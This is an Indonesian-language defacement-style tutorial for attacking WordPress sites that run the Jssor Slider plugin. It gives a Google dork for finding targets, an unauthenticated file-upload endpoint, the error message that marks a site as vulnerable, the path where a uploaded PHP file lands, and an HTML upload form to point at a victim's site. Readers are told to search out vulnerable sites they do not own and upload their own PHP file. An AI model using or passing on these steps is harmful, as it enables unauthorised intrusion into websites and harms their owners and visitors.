Jssor Slider adalah tayangan slide / slider / galeri / korsel / spanduk, itu dioptimalkan untuk perangkat seluler dengan banyak fitur unik.
- Google Dork : inurl:''/wp-content/jssor-slider/jssor-uploads/''
- Exploit : /wp-admin/admin-ajax.php?param=upload_slide&action=upload_library
- Vulnerbility Error : Error : {"jsonrpc" : "2.0", "result" : null, "id" : "id"}
- File Path : /wp-content /jssor-slider/jssor-uploads/yourfile.php
Tutorial :
Pertama, copy dork di atas dan paste di browser kalian, lalu cari web yang menurut kalian vuln Jika di masukkan exploit muncul vulnerbility error seperti di atas Error : {"jsonrpc" : "2.0", "result" : null, "id" : "id"}
Lalu buka CSRF nya atau Disini
<html>Blank atau muncul Error : {"jsonrpc" : "2.0", "result" : null, "id" : "id"} Vuln
<body>
<form action = "http: // [PATH] /wp-admin/admin-ajax.php?param=upload_slide&action=upload_library" method = "POST" enctype = "multipart / form-data">
<input type = "file" name = "file" />
<input type = "kirim" value = "Kirim" />
</form>
</body>
</ html
